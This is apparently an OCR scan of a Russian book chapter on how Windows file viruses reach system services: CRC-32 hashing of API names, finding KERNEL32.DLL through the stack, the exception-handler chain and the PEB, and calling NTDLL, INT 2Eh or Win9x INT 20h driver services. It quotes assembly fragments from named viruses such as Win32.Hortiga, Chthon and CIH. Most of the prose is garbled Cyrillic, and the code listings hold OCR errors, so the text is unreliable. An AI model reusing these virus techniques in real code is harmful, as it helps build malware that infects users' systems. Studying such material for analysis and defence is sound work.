B20 41 00 43 72-65 61 74 65-46 69 60 65-4D 61 70 70 A C rea teF ileM app
B30 69 6E 67 41-00 40 61 70-56 69 65 77-4F 66 46 69 ingA MaoViewOfFi
B40 6C 65 00 55-6E 6D 61 70-56 69 65 77-4F 66 46 69 le  UmreoViewQfFi
B50 60 65 00 43-60 6F 73 65-48 61 6E 64-60 65 00 56 Is  C lo seH and le  V
B60 69 72 74 75-61 60 41 60-60 6F 63 00-56 69 72 74 i r t u a lA i lo c  V i r t
B70 75 61 60 46-72 65 65 00-46 69 6E 64-46 69 72 73 u a lF re e  F m d F lr s
BSO 74 46 69 60-65 41 00 46-69 6E 64 4E-65 78 74 46 t F i le A  F in cN extF
B90 69 60 65 41-00 53 65 74-46 69 60 65-41 74 74 72 i le A  SetFileAtxr
BAO 69 62 75 74-65 73 41 00-47 65 74 40-61 73 74 45 ib u te sA  G e tLas tE
880 72 72 6F 72-00 00 00 00-00 00 00 00-00 00 00 00 r r o r .......................
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B t o p o h  n o flx o fl 6o ;ie e  H e o 6bi4eH h  icpacH B. O h  n p e a y c M a T p H B a e T  

c p a B H e H H e  H e  n o ;n iH X  c t p o k ,  a  K o n T p o .ib H b ix  c y M M  h  x e r n j u k h h h  

o t  h h x ,  H a n p H M e p  CRC-32. C n n T a e T C H , m to  B n e p B b ie  s t o t  n p iie .u  6u j i  

h c n oJib30 B aH  b BHpyce W i n 3 2 . P a r v o ,  a no3* e  B o c n p o H 3B e a e H  b H e - 

CKOJIbKHX a e C H TK a X  a p y r i i x  BHpyCOB. JIlO O O n b lTH O , MTO X O Tfl aJirOpHTM 

CRC-32 m o jk h o  6h j i o  c p a B H H T e jib H o  aenco o c})o pM H Tb ca M O C TO flTe .ib H O , 

npaKTHHecKii Bee Bupycbi n c n o jib 3 y io T  o ; ;h h  h  t o t  ace K o a . Koa H a n H c a H  

A O C Ta TO H H O  a K K y p a ra o  h  a e fic T B JiT e jib H O  B b iH H C Jw e T C T a H fla p T H y io  x e m - 

c jjy H K m iio  CRC-32 a m  6iiO K a  ^ a n n b ix , H a n a jib H b iH  aapec K O T O p o ro  y K a -  

3a H  b p e r a c T p e  ESI, a zunina -  b EDI:

41868A: FC c ld
418688: 33G9 xor e cx ,e cx
41868D: 49 dec ecx
41868E: 8BD1 mov ecx ,e cx
418690: 53 push edx
418691: 3300 xo r eax ,eax
418693: 33DB xo r ebx,eDx
418695: AC iodsb
418696: 32C1 xor a i . c l
418698: 8ACC- mov c l . c h
41869A: 8AEA mov ch , d l
41869C: 8AD6 fnov d i,  dh
41869E: B608 mov dh,008
4186A0: 66D1E8 sh r bx, 1
4186A3: 6601D8 r c r ax. 1
4186A6: 7309 j s s .0004186B1
4186AS: 66352083 xor 3 x .08320
4186AC: 6631F3B8ED xo r bx,0EDB8
418681: FECE dec dh
418633: 75EB jne .0004186A0
418635: 33C8 xo r e cx ,sa x
4186S7: 3303 xor ecx ,eo x
4186-99: 4F dec ed i
4186BA; 75D5 jn S .000418691
418630: 58 DOp ebx
41868D: F7D2 not edx
41863F: F7D1 not ecx
4186C1: 8BC2 mov eax,edx
4186C3: C1CG10 ro l S3 A . V !
4186C6: 6688C1 mov ax, cx
4186C9: C3 re tn

CTSHflapTHblM... 

...nopoxaaiciiiHH no/iHHuM

CM6THHK 06p36CT8KHblX 68£T0B

PesynbTaT

H t o 6 h  p a 3 o 6 p a T b C H  b a a r o p H T M e  B w p y c o B ,  a e H C T B y r o m n x  n o  n o -  

a o c H O M y  npH H um iv, i i n p y c o / i o r y  n e o 6 x o a i iM O  h m c t i ,  T a 6 ; in M K y  c  3 a p a -  

H e e  p a c c M H T a H H b iM H  CRC a m  hmch c u c T e M H b ix  c e p B H c o B .  H a n p H M e p ,  

c T p o K a  'FindFirstFileA' H M e e T  CRC-32, p a B H b r it  0C9EBD5CEh ( h j s h



258 ❖ OaCiAOBbie Bupycbi b Windows

0 A E 1 7 E B E F h , e c n H y H H T M B a T b 3 a B e p m a i o m H i i  0 ) ;  C T p o K a ’ C r e a t e F i l e A '  -  

5 5 3 B 5 C 7 8 h  ( h j i h  0 8 C 8 9 2 D D F h )  h  t . n .

E c T b  B H p y c b i ,  K O TO p b ie  H C n O JIb 3 Y K )T  H  f l p y r a e  K O H Tp O JIb H b ie  C y M M b I  H  

x e iu - ( J ) y H K L u iM .  H a n p i iM e p ,  Win32.Tecata.1761 p a c c M H T b iB a e T  xern, c o -  

C T O H IU H H  H 3 f lB y X  n e p B b I X  6 y K B  H  a p H (J )M e T H H e C K O H  C y M M b I  KOflOB B c e x  

c h m b o j io b  H M e H H  ( f ) y H K i in n .  3a6aBHo, h t o  b  c b o h x  s jie ic rp o H H b ix  J K y p n a - 

j ia x  h  H a  H H T e p H e T - ( J ) o p y M a x  M H o r a e  a B T o p b i n o f lo S H b ix  c r p a H H H X  a j i r o -  

P h t m o b  n o n e M y - T o  H M e H y r o T  h x  T e M  ace  c a M b iM  h m c h c m  «CRC», h t o  H a  

c a M O M  a e j ie  0 3 H a n a e T  « i j h k j i h i i e c k h h  H 3 6 b iT O H H b iH  K o a »  h  h h h t o  H H o e .  

B h ^ h m o ,  b  B i i p y c o r m c a T e j iH  n a c T O  h , i y t  o 6 n > K e H H b ie  u iK O j ib H H K H ,  c x B a - 

t h b u i h c  « n a p y »  n o  H H c} ;o p M a T H K e .

43.42. CaMocmoamejibHbtu nouac adpeca KERNEL32.DLL
IT o  M e p e  n o H B J ie H H H  h o b h x  B e p c H H  W i n d o w s  B H p y c b i ,  H c n o ; ib 3 y io iu H e  

p a c c M O T p e H H b i i i  B b ir n e  « m 6t o ; i  n p e / io n p e a e J ie n H b ix  a / ip ecoB *> , c r a H O -  

b h t c h  H e p a 6 o T o c n o c o 6 H b iM H . F lo  s t o h  n p H M H u e  B H p y c o m ic a T e J iH  n a m e  

n p H M e H H io T  o o .T e e  c j io a c u b ie  M e r o / ib i ,  n 0 3 B 0 J if l ic > in n e  o 6 H a p y a c H B a T b  
«KERNEL32.DLL» b  n a M H T H , H e  o n n p a a c b  H a  K a K H e - jm 6 o  3a p a H e e  n p e -  

^ o n p e / ie J ie H H b ie  a a p e c a .

B  3 t h x  w e T O / ja x  K jn o n e B b iM  M O M e H T O M  H B Jw e T C H  H a x o a y ie H H e  J llO O O rO  

a a p e c a ,  V K a B b iB a r o m e r o  K y a a - H n 6 y a b  BHyrpb «KERNEL32.DLL». noc
j i e  3 T o r o ,  C K a H H p y a  n a M H T b  b  C T o p o H y  y M e H b iu e H H H  a a p e c o B ,  m o x h o  n o  

C M e m e H H H M , K p a T H H M  1 0 0 0 0 h ,  p a H O  h j i h  r i0 3 / iH 0  o 6 i ia p y > K H T b  3 a B e T H y io  

C H r H a T y p y  'M Z ' ( h j i h  K a K o f t - H H 6 \rf lb  a p y r o n  n p H 3 H 3 K ,  x a p a t c r e p H b m  jsjm 
3 a r o j io B K a  o 6 p a 3 a  a H H a M H H e c ic o H  & n 6 , ' in o T e K i i ) .

B o t  s t h  M e T O f lM .

Bo-nepBbix, 3a r p y 3 H H ic  n p o r p a M M  W i n d o w s  c a M  n o ; ib 3 y e T C H  b  CBoeii 
p a 6 o T e  o e p B H C H b iM H  c ^ v h k u h h m h  «KERNEL32.DLL». n e p e a a n a  yupaB- 
. t c h h h  3 a r p y a c e H n o i i  n p o r p a M M e  o 6 h h h o  B b in o J iH a e T C H  H 3  H e a p  c js y i iK -  

m iH  C r e a t e P r o c e s s A  K O M a n a o i i  C A L L .  C j ie a o B a T e j i b i io .  n p n  C T a p T e  n p o 

r p a M M b i Z tB O H H O e  CJIOBO H a  B e p iH H H e  C T e K a  aO JI/K H O  V 'K a 3 b IB a T b  B H y T p b

«KERNEL32.DLL».
B o t  ( J j p a m e H T  B H p y c a  Win32.Hortiga.4938, H c n o j i b s y i o u ie r o  s t v  M e -  

T O f lH K y :

406000 880424 mov eax,[esp] ; C.HflTb HaMaribHuii aapec co crexa
406003 3302 xo r edx .ecx OOHy/WTb EDX, SKnwaa ciapiiiMS 6mtw

406005 48 dec eax CflBMHyTbca naaaa
406006 668B503C mov dx ,[e a x ][3 C ]  ; OteseHHe nona "Itagebase” 3 jarojioBKe
40600A 6SF70200F8 te s t dx,OFSOu He c jinukom nti b& imk aapec?
40600F 75F2 jne , 000406r,03 Beam -  npoaojiXHTt "omck
406011 30441034 0P1& eax ,[eax][fedx l( 34] ; 9to  none "ImageBase" ?
406015 75EC jne 0004061)03 ; fIpOfiuil¥i1Tb nOMCK
406011 ; Aflpec HafeeH ;i Haxoni-ircR s EAX
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B T O p O H  M eTO/l 3aKJHOHaeTCH B  H C n 0 JIK 3 0 B a H H H  U e n O H K H  C T p V K T y p H W X  

0 6 p a 6 0 T 4 H K 0 B  H C K JIK W eH H H  (M M  n O flp o 6 H O  p a C C M a Tp H B a JIH  3TO  n O H H TH e  

b  H a n a J i e  r j ia B b i) ,  n e p B b ift a n e M e H T  k o t o p o h  aocTynen n o  a a p e c y  F S : [ 0 ] .  

I Io c J ie a H iiH  ace a jie M e H T  zijm  6 o jib W H H C T B a  B e p c H H  W i n d o w s  « o 6 n T a e T »  

r a e -T o  B H y r p n  « K E R N E L 3 2 . D L L » .  C a e a o B a T e jib H o , c c b u in a  H a  H e ro , 

p a c n o jio a c e H H a n  b  n p e a n o c jre a n e M  o 6 p a 6 o T H H K e  C T p y K T y p H b ix  H c io n o M e - 

h h h ,  h  e c T b  H CKOM bift aa p e c.

T p e T H H  M e T o a  -  p a 3 6 o p  c h c t c m h o h  c T p y K T y p b i  T I B / T E B / P E B .  / le iio  

b  to m , h t o  H e 0a H 0K p a T H 0 y n o M im a B iiiH H c s t B b iu ie  a a p e c  F S : [ 0 ]  -  3 T 0  H a  

caM O M  a e jie  B x o a  b  6 o a b in y io  h  c.roacH O  0 p ra H H 3 0 B a H H y K ) c T p y i c r y p y  a a H - 

h m x , 3 a n o JiH e H H y io  p a 3 H 0 0 6 p a 3 H 0 H  c jiy a ce o H o ft H H C ^o p M a n H e ii, a y n o M H - 

H y r a a  B w iu e  uenoH tca C T p y K T y p H b ix  o 6 p a 6 o T H H K O B  h c k jh o h c h h h  n p o c T o  

«H a 4 H H a e T C H »  H M eH H O  Ta M . O o p M a T  3 T 0 H  C T p y K T y p b l c.rra6o a o K y M e H T H - 

p o B a H  h  H e o a H H a K O B  b  p a 3 H b ix  B e p cH H X  W i n d o w s .  M 3 B iip y c a  b  B H p y c  

K o n y e T  o a H H  h  t o t  ace, n e rK O  o n o 3 H a B a e M b iH  aaace «H e B o o p y a c e H H b iM  n i a -  

3 o m » , o n e H b  x a p a K T e p H b iii  4>p a rM e H T M a n iH H H o ro  K o a a , H c n o Jib 3 y fO M H H

3 T V  M C T O ^ H K y :

xo r eax, eax
add eax, fs :[eax+ 30h]
j s metnod_9x 

method_nt:
mov eax, [eax + Cch]
mov e s i.  [eax + 1 ch ]
lo dsd
mov eax. [eax *■ 08h]
imp K32_ptr_found 

method_9x:
mov eax, [eax + 34h]
le a  eax, [eax + 7ch]
rnov eax, [eax + 3ch]

k32_ptr_ found: .■.

MeToamca npno6peaa n o n y a n p H o c T b  yace  b  X X I  BeKe, O H a n 0 3 B 0 Jia e T  

H a x o a H T b  H e  TO JibKO  aapec « K E R N E L 3 2 . D L L > ,  h o  h  a p y r n x  3 a rp y a c e H - 

H b ix  b  n a M flTb  6 n 6 jiH O T e K , i i  H c n o a b 3 y e T c a  npeiiMymecTBeHHO b  ceTeBbix 
H n O H TO B b IX  H epB flX .

H a K o iie u , y n o M H H e M  H cn 0 Jib 3 0 B a H H e  B H p y c o M  ( ^ v h k h h h ,  yace h m - 

n o p T H p o B a H H b ix  3apaacaeM 0H  n p o rp a M M o n . He.ib3a H e  n p H 3 H a T b , h t o  

Bee paccMOTpeHHbie B b im e  M e T o a iiK H  a o c T y n a  B H p y c o B  k  C H C TeM H b iM  

CepBHCaM O CHOBblBaiOTCH  Ha HeaOKVMeHTHpOBaHHblX 0C06e H H 0C TH X , H 

M e TO a H K H  3 T I I  C Tp e M H Te .lb H O  y C Ta p e B a iO T. /le H C TB H Te JIb H O , nOC.ieaHHH 

b  u e n o H K e  c x p y  k  t  y  p  h  h  h o 6 p a 6 o T H H K  H C K J iio 'ie m m  h  n p o u e a y p a  n e p e - 

aaM H  y n p a B .fie m iH  3 a rp y a ce H H o ft nporpaMMe b  n o c jie a H H x  c e p B H cn a ica x  

W i n d o w s  X P  h  2 0 0 3  yace M u rp n p o B a J iH  b  o H O Jin o T e K y  « N T D L L . D L L » .
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a a h 4>aKT nocroHHCTBa nojio>KeHH5T 6H6/iHOTeKii «K E R N E L 3 2 .D L L » 
b naMHTH Toace aHiiiHT Ha JiaaaH. IIo  KpaiiHeii Mepe, b W indows Vista/7 
BBe/ieH M e xa H H 3 M  A SLR , kotopmh npmiy/iHTejibHo TacyeT aapeca 3arpy- 
2CaeMbIX CHCTeMHbIX 6ii6jihotck.

H o  e c T b  60n e e  «o p T o a o K c a jib H b iH »  c n o c o o  n o n c K a . O h  0CH0B aH  H a 

to m , t o  Jiio 6aH «H o p M a jib H a a »  n p o rp a M M a  H c rio jib 3 y e T  x o t h  6m  o a h h  

C H C Te M H b lH  CepBHC H 3 6n 6/ in o Te K n  «K E R N E L 3 2 .D L L » ( o 6bIHHC> 3T H M  

c e p B H c o M  h b j ih c t c h  cjsyHKUHH « E x i t P r o c e s s » ) .  3 H a m iT ,  n o c jie  a a r p j^ K H  

b  n a M H T b  B M e c Te  c  3apa5KeHHOH u p o rp a M M o ii  B iip y c  M oaceT m y m r h  ee 

T a o j iH u y  H M n o p T a  h  n a i i r a  b  H e n  x o t h  6b i o a h h  a a p e c , B e a y m iif t  B u y r p b  

«K E R N E L 3 2 .D L L », h v  a a a iib m e  n o c T y n a T b ,  K aK  H aM H  o m jio  p a c c M O T p e - 

h o  B birne. B n p o n e M , e c T b  H eK O TO p b ie  B H p y c w . K 0T 0p b ie  H a cTO Jib K O  « / ie n n -  

b h » ,  h t o  c p a 3 y  n t n a r o T c a  n a iiT H  b  T a o jin n e  H M n o p T a  3a p a a ce H H o ii n p o -  

rp a M M M  H ya cH b ie  mm 4 > v h k h h h , H a n p H M e p  « G e t P r o c A d d r e s s » ,  K O TO p a a  

H C fio ,ib 3 y e TC H , n o  K p a ftn e ii M e pe, n o .'io B H H o ii C T a H a a p T H b ix  C H C Te M H b ix  

y T H J iH T  W i n d o w s .  E c j i h  H ya cH b ix  ^ y H K i m i i  HeT, Ta icn e  B u p y c M  n p o c T o  

0 TK a 3 b iB a i0 TC H  o t  3apa>KeHHH n p o rp a M M b i. H x  a H T a ro H H C T b i -  c jio acH M e 

B H p y c b i, H a n p H M e p  Win32.Score.3072, K O To p b ie  ca M 0C T0H T e jib H 0 b h -  

n o .T H H io T  p a S o T y  n p o rp a M M b i-K 0M n 0H 0B m H K a  h  a o o a B /iH io x  b  T a o .'iH u y  

H M n o p T a  O T c y T C T B V io iu H e  (f iy H K H H ii. M H T e p e c H H e  « n o .n y M e p H »  n p e / j- 

jia ra e T  a B T o p  B iip y c a  Win32.Idele.2108, K O T o p b m  b c jiy n a e  o T C y T C T B H H  

Hy>KHbIX tJ )yH K H H H  CMe.TO B H a O H 3 M e H H e T B T a 6jIH H a X  H M n o p T a  O aH O H3 

H M eH , T a K  h t o  n p H  3 a n y c K e  n p o rp a M M M  .la rp y rv iH K  6y a e T  H M e Tb  b B H a y  

h m c h h o  «H cn p a B Jie n H o e > >  h m h .

43.4.3. Mcnojib3oeauue ^uecmaHdapmHux^ cepeucoe
B p a 3a e ;ie , n o c B H iu e H H O M  06m  eii xapaKTepiicmKe M e T o a o B  oopameHiia 

k C H C TeM H b iM  ce p B H ca M , 6biJio n p o a e M O H C T p u p o B a H O , mto Kaacaoe Ta K o e  

o 6p a m ,e H iie  n p H B o a iiT  k  a K T H B a u m i /ijihhhom n e n o n ra i BH30B0B, n o c b i-  

JiaeM bix H3 o a H o ft B H y rp e H H e H  n o a c H c 'Te M b i W i n d o w s  b  apyryio. I lp ii 'ie .M  

icaacaan T a K a n  n o a c H C T e M a  oohhho  n p e /icTa B JiJie T c o 6o ii  n e T K o  jio K a jiH .w - 

B a H H M H  H a 6o p  nponeayp h 4 > y H K m iH , i iM e io m n x  cboh H H T e p ^ e i ic b i  b m - 
30Ba H Oc}-)OpMJleHHbIX B B lia e  a H H a M H H e C K H X  6H O JIH O TeK  H JIH  a p a ilB e p O B . 

K o n e 'l l lo ,  Bee 3 T 0  -  B H V Tp e H H H H  « K y X H H »  pasp a O O TH H K O B , K O TO p a H  0 'ieH b 

c jia o o  a o K V M e H TH p o B a H a . a K O H K p e TH b ie  cB e a e H H H  o ee y c T p o itc T B e  -  p e - 

3y.’ib T a T  .jih6o a o j i r n x  x a K e p c icn x  « k o b m ph h h h >, j i h 60 H iK fiop .viauH O H H O H  

Vtcmkh H3 M ic r o s o f t .  T e M  He MeHee b  BHpyc ax sth «H e c T a n / ia p T H b ie »  ch - 
CTeM H bie  c e p B H C b i H c n o jib s y io T C H , h  c onpeaejieHHbiM ycnexoM.

K o h c h h o ,  e c j w  roBopHTb 0 «HecTaHaapTHbix» cepBiicax, t o  npejKae 

Bcero c t o h t  ynoMHHVTb umpoKO H 3B e c T H b iii <f>aKT: b W indows N T  npo-
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rpaMMHbift k o a , H e n o c p e a c TB e H H O  p e a jii i3 y io in H H  M H o ra e  C H C TeM H b ie  cep- 
b h c m , p a c n o jra ra e T c a  b  6H 6j in o T e K e  «NTDLL.DLL», a «c T a H / ia p T H b ie »  

(J j j 'h k u h h  H 3 «KERNEL32.DLL» n p e a c T a a n a r o T  c o 6o fl Jimnb « n e p e x o A -

H H K H »  K  3T0My KOfly. rio'leMy 6m  He B bI3bIB a Tb  (J jy H K U H H  H 3 «NTDLL. 
DLL»> H a n p a M y jo ?  CKa3aH0 -  caejiaHol KeM? Abtopom B H p y c a  Win32. 
Chthon, 0n y 6^ H K 0B a B iu H M  cboio p a 3p a 6o n c y  b  sjicktpohhom a c yp H a jie  

«29A». Hum* npHBOAHTca (})parMeHT aT o ro  BHpyca, oTBenaiomHH 3a o t -  

K p b m ie  c|)aHJia. Bnpyc n p e flB a p srre jib H O  n a rn e ji b  n a M H T H  6n 6j iH O T e K y  

«NTDLL.DLL> («MeroAOM TIB/TEB/PEB»), o n p e A e ;iH Ji B H y r p H  H ee 

aflp e c  (J jy H K U H H  «NtOpenFile»/»ZwOpen File* (o n iic a H n e  ee n a p a w e T - 

p o B  M O * H O  H a ftTH  b  NT  D D K ) h  T e n e p t  B brabiBaeT ee c jie / iy io m H M  06-

pa30M:

push 000004021 ; Onunn OTKpWTiia
push 003 ; flapaMeTpw pa3fleji9HHft flooTyna
push esp , y K a s a ie / ib  na 6/iok m-Kt>opMaum  o p e sy / ib T a te
push eax ; VKasaTe.tib na S jiok aTpuCyTOB, w r

push 000100001 : MacKa f io c iy n a  k Qalwy
lea eax,[esi] [04] . Aapec o6/iacrn nofi vKasaTe/ib ..
push eax , . . O T K p w io ro  (faiijia
call [ebx][2Q] , Bwsob cepBMca no w38ecTH0My aspecy

Ho Beflb H e M a jia a  n a c T b  C H C Te M H b ix  a c h c t b h h  b  Windows NT  B b in o Ji- 

H a e TC H  aaace H e b  oH O JiH O TC K e «NTDLL.DLL», a b  K O M n o H e H Ta x  0-ro 
K O Jib iia  3 a im iT b i, k  K O TO p M M  A o c r y n  ocymecTBJiaeTca n e p e a  H C K JnoM e m ie  

«IN T  2Eh». H e jib 3.fi .to ncnojib30BaTb h  axy  B03M0*H0CTb? « C t o h t  no- 
n p o o o B a T b ! *  -  pern h j i h  B H p y c o im c a T e jiH . I I p e x A e  B c e ro  o h h  o 6p a T H JiH  

c b o h  B3op BHyrpb «NTDLL.DLL», h t o 6h  onpeaejiHTb, K a K a n  MacTb H ah -  

o o jie e  «n o n y ji»p H H X » c e p B H C H tix  c^yhkuhh p e a jiH 3 0 B a H a  BHyrpH Hee, 

a K a n a a  -  b  K O M n o H e H Ta x  0-ro K O Jib u b i 3a m H T b i. O K a 3a jio c b , m to  n o n r a  

flJiH  Bcex 4 > v h k u h h  «N T D L L D L L », HMeHa KOTopux HanHHaioTCH c «Nt> 
h j i h  « Z w » .  6n 6jm o T e 'iH b iH  k o a  -  TO>Ke Bcero JiH iiib  «nepexoflHM K», n p n -  

n e M  oMeHb h  OHenb He3aTeHJiHBbiH. C y ^ H T e  caMH, b o t  K a K  Bbinm/iHT koa  

(JjyHKUHH «NtOpenFile»:

77F67B4C' B84F000000 mov eax, 00000004F ; Hoxep ♦yHwyiH
77F67B51 
77F67B55 
77F67B57

SD542404 lea edx, [e sp ][0 4 ] ; Aapec 6/ioi<a napawerpoB b cietce
CD2E in t  02E ; (le p e x o A  B 0-e KOiibiiO

C21800 rein 00018 ; BosepaT c ohhctkcm c re ra

T a K H M  0 6 p a 3 0 . \ i,  6jiok napaMeTpoB, n o J iy n e H H M X  4 > y H K m ie H  

« N t O p e n F i l e » ,  6 e3 K a K H X - j r a 6 o  H 3M e H e H H H  n e p e a a e T c a  b  H A p o  Windows 
NT. E f lH H C T B e H H o e ,  m to  AeJiaeT «N T D L L D L L », -  s t o  noMeiyaeT b  p e -  

r u c T p  EAX H O M e p  B bi3biB a eM oii cJiyHKUHH, h t o 6 h  o6pa6oT'iHK INT 2Eh
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pa3o6pajiCH, h to  e*My aeJiaTb c  napaM eTpaM H, pacnojiosKeHHHM H b c fe K e  

(KCTaTH, a a p ec  3Toro 6jioK a  a y o jiH p yeT cn  b EDX). 3 t h  HOMepa H3MeHH- 

lOTCfl OT BepCHH K BepCHH OnepanHOHHOH CHCTeMH (cm . Ta6 il. 4 .9 ).

■ T a 6 jt tm a  4 .9 .  H e K O T o p u e  H O M ep a  c h c t b m h u x  c e p B u c o B  a  s tffp e  
W in d o w s

HaHMeHOBaHHe
H oM ep  

b  N T  4 .0
H oM ep  
b  2 0 0 0

H oM ep  b  X P H oM ep  b  V is ta

NtClose OFh 18h 25 48
NtCreateFile 17h 20h 27 60
NtOpenFile 4Fh 64ti 116 186
NtReadFile 86h 0A1h 183 258
NtWriteFile 0C8h OEDh 274 359

I Ip H M e p b l B H p y c o B , C aM O C TO H Te jIbH O  o 6p a m a K )m H X C H  K  CHC TeM H bIM  

ce p B H ca M  W i n d o w s  N T  n e p e a  « I N T  2 E h » :  W i n 3 2 . K e t a n  n  W i n N T . J a t e r .

H M e e T c a  b o 3 m o * h o c t l  H c n 0 Jib 3 0 B a T b  «H e c T a n / ia p T H M e »  ce p B H C M  h  

b  W in d o w 's  9 X .  J I i o 6o e  n p H Jio a ce H H e  0 - r o  K o /ib ija  s a m H T b i c n o c o 6H o  06-  

p a m a T b c a  k  c n c T e M H M M  a p a iiB e p a M , H c n o ;ib 3 y H  MexaHH3M n p e p b iB a H H H  

« I N T  2 0 h » .  E c T e c T B e H H O , o h o  a o jia cH o  j ih 6o c a w o  H BJiH TbC H  u p a ftB e p o M , 

j i h 6o  n o jiy H H T b  n p n B iu ie r n H  0 - r o  K O Jib n a  3 a iU H Tb i n p n  n o M o m H  K a K o r o - 

H I l6y f lb  H 3 H 3 B C C TH H X  X a K e p C K H X  «T p iO K O B » . P e H b  06 3 TH X  « T p io K a x »  

n o ftfle T  a a jib in e , 3 a e cb  ace p a c c M O T p iiM  M e T o a u  o 6p a m e H H H  k  CHC TeM H bIM  

c e p B H ca M  b  n p e a n o jio a c e H H H , h t o  n p m io jK e H H e  (a  K 0H K p e T H 0 -  B H p y c )  

yace Te M  h j i h  h h u m  c n o c o 6o M  n p o H H K Jio  b  « n y i i b » .

B  W i n 9 X  n p e a y c M O T p e H O  o 6p a m e H H e  k  c h c t c m h u m  a p a H B e p a M  n p n  

n o M o m n  n e p e x B a T a  h c k jh o h c h h h , B 03 H H K a K > m e r0  B C Jie a cTB H e  Bbi30Ba 

n p e p u B a H H H  2 0 h . (D o p M a T  a T o r o  o 6p a m e H H H  c n jib H o  3 a B H C iiT  o t  c a M o ro  

a p a iiB e p a . B  o 6m e M  c jiy n a e  n a p a M e x p u  a p a m e p y  ( h  H a 3 a a ) n e p e a a io TC H  

h  b  C TeK e, h  b perncTpax. C o 6c t b c h h o  o6pameHHe k  apaiiBepy B b irjiH A H T  

c jie a y io m H M  06pa30M:

i n t  2 0h  ; Bu s o b  npepusaH M fl

dw ? ; Koa Bbino/iHReMoS one pa u w n

dw ? ; MaeHTWjiHKaTop flp a n e e p a

T a t a iM  06p a 30M , a ® t  n o a o d H o r o  o 6p a m e H H H  H e o 6x o a H M o :

O  3 a rp y 3 H T b  b  p e r a c T p u  h b  c t c k  Heo6xoaHMbie 3 H ane H H H ;

O  V K a 3 a Tb  H a e H T H (J )H K a T o p  K O H K p e TH O TO  apaiiBepa (H a n p H M e p , 

0 0 0 1  -  M eHeaacep B iip ty a J ib H b ix  M a u iH H  VM M , 1 0  -  a p a f e e p  

o j io h h o t o  3 a n o M H H a io m e ro  y c T p o iic T B a , 4 0  -  a p a iiB e p  M e H e a * e p a  

H H C T a ju m p y e M o ii  (J)a ii.x0B0H c h c tc m m  IFSMgr h  n p o 'ie e ) ;
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' O  onpeaejiHTfc k o a  onepaiyiH, KOTopyio s t o t  apaiiBep aojiaceH bu- 
nojiHHTb ( HanpHMep, p.nn Meneaacepa BHpTya;ibHbix Maiuiui 0000 -  
n o jiyu H T b  H O M e p  BepcH H  Mene/i>Kepa, 0053h -  pacnpeaejiHTb crpa- 
H H u y  BiipTyajibHOH naMHTH).

J l n s i  o 6 n e r H e m m  T p y a a  n p o rp a M M H C T O B , 3 a H H M a io m H X C H  p a 3 p a 6 o T - 

k o h  A p a iiB e p o B  Windows, cfrnpMa Microsoft onpe/ie.nHJia b o  B K JiK w a e M H X  

4>aiuiax D D K  a B e  M a K p o a n p e K T H B H  -  «VxDCall» h  «VM M Call», k o -

T o p b ie  • *pa3B opaH H B aio Tca» b  B b im e n p H B e /ie H H b iH  k o a . Ho cn p a B O H H b ie  

fla H H b ie  n o  m ie H T H ^ H K a T o p a .M  a p a ilB e p o B , Ko/jaM  onepanmi h  n o  napa- 
M e Tp a M  B U 3 0 B a  -  C B jrra H  c b a t m x  (fw p M b i Microsoft. Koe-HTO m o jk h o  H a f l- 

t h  b  DDK h  MSDN, h o  o c h o b h o h  h c t o h h h k  H H (J)o p M a u H H  -  p e 3y/[b Ta Tb i

X a K e p C K H X  H CCJieflO B aHH H.

M e T O f l  o 6p a m e H H 5i  k  r j i y 6H H H b iM  cepBHcaM Windows B o m e ji b  Moay 
n o c jie  m o 6ajib H O H  s n n a e M H H  BHpyca Win9X.CIH. I Io J iy H H B  n p H B H Tie - 

t h h  0-ro K o.rib iia 3 a u tH T b i h  HanpHMjio nporpaMMHpya p a 3 JiH H H u e  apan- 
Bephi, s t o t  B H p y c  H e TO JibKO  B b irro jiH a ji caM cfiaHJioBbie onepanHH, h o  h  

r ie p e x B a Tb iB a ji o 6p a m e H H H  o t  n p n m ia / iH b ix  nporpaMM k  4>aHJi0B0H c h -  

CTeMe, pacnpeAe.'w.'i B H p T y a jib H y io  n a M H Tb  noa c b o h  H y a y ib i ,  n n c a j i  My- 
cop b  c e K T o p a  BHHHecTepa h  aaace n o p T i M  Flash-BIOS. B o t  K aK  o h , Ha
n p H M e p , O TK p b iB a Ji <J>aH;ibi:

; llpeano/iaraeTcn, hto b e s i -  aapec S'lMSHil peHlIla
0390: CD20 in t 20h . OSpaiueHMe k apaiieepy
0392: 3200 dw 0032h : OSiiihh ko a  ana o p e n /re a d /w r ite /c lo se
0394: 4000 dw 0040h : Koa IFSMgr

039D: 8BBE52FDFFFF mov e d i , [ e s i +390h] ; FloMecTMTb 8 e d i . . .
03A3: 8B3F mov e d l , [ e d i ]  . . . .  aapec kom 3h jm  m t  20h

03B2: 33C0 xor eax,eax
03B4: B4D5 mov ah,0D5 . 0 t KpuTb/co saa t  b
03B6: 33C9 xor ecx,ecx ; 0 -  3H3MMT "aocryn  6e3 or pa fw -iiH iv
03B8: 33D2 xor edx.edx
03BA: 42 inc edx ; 1 -  3H3MMT, STO KOMaHfia "OTKpMTb"
03BB: 8BDA mov ebx.edx
036D: 43 inc ebx ; 2 - sto "oTKpHTb Ha NTenne m sanncb
03BE: FFD7 c a l l ed i : oepaTMTbcs k  cepeMcy
03C0: 93 xchg ebx,eax ; CoxpaHHTb x s H ftn  oiKpuioro <J>aPina

Bbi o 6p a T H JiH  B H H M aH H e , h t o  H a 6o p  n a p a M e Tp o B , K O To p b iM  c e p B H c - 

H a a  n p o u e / iy p a  o6M e m iB a e x cH  c n p o rp a M M o n  nepe3 p e r a c T p b i ,  cooTBeT- 
C T B y e T  4)vhkuhh 716Ch -  ^Extended Create/Open File», noflBHBiiieitei 
b  MS-DOS 7.X h  c n o c o 6H OH p a 6o T a T b  c a j ih h h w m h  HMeHaMH (jpaiuioB? 
Tan h  a o j ix a io  6b iTb , Be/ib o 6a s t h x  c h c t c m h m x  B bi30Ba b  k o h c h h o m  H T o r e  

o 6pam aroTC ,H  k  g jih o m v  h  T O M y  >Ke n p o rp a M M H O M y  K o a y !
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4.3.5. Hepe3MfleHTHbie Biipycbi
B 32-6htobhx Bepcmix Windows B03M 0>KH 0CTh noncKa (})aHJioB h  

KaTajioroB p e a jn i3 y e T C fl nocpe/tcTBOM (JiyHKmiii «  Find First File» h  

«FindNextFile», j k h b j t i i h x  b  6Mc>JiHOTeKe «KERNEL32.DLL». Pe3y jit - 
TaT h x  pa6oTbi B03BpamaeTca b  pa6oneH o6jiacrn p a 3 M e p o M  313 6airroB, 
HMeiomeH CJieayiomyio cTpyKTypy:

d w F ile A t t r ib u te s
ftC re a t io n T im e
ft ia s tA o o e ssT im e
